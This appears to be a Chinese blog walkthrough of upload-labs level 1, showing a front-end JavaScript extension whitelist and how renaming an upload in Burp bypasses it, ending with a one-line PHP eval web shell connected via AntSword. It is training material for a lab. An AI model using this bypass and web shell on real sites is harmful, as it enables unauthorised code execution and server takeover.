文件上传之前端绕过(upload-labs第一关)

在这里插入图片描述

第一章 前端限制与绕过

有些Web 应用的文件上传功能,仅在前端用JS 脚本做了检测,如检测文件后缀名等。upload-labs 第一关,以下是经典的代码。

第二章 代码审计-源码

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

此段JS 代码采用白名单策略,检测文件后缀名。配合表单事件使用。

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>请选择要上传的图片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上传"/>
</form>

前端JS 脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
在这里插入图片描述

第三章 文件上传案例

使恶意文件后缀名符合白名单策略,用Burp 挂代理抓包,然后修改文件后缀名即可。

对于文件上传,只从Web 前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略。

第一步 上传一张jpg文件 并查看文件路径

在这里插入图片描述在这里插入图片描述

第二步 上传.php文件

[<?php phpinfo();?>]
在这里插入图片描述

第三步 使用burp抓包,修改文件后缀名为.php文件

在这里插入图片描述在这里插入图片描述在这里插入图片描述

第四步 查看上传的文件是否成功执行

在这里插入图片描述在这里插入图片描述

第五步 上传一句话木马 蚁剑连接

Yijuhua.jpg内容:[<?php @eval($_REQUEST['cmd']);?>]

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星球守护者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值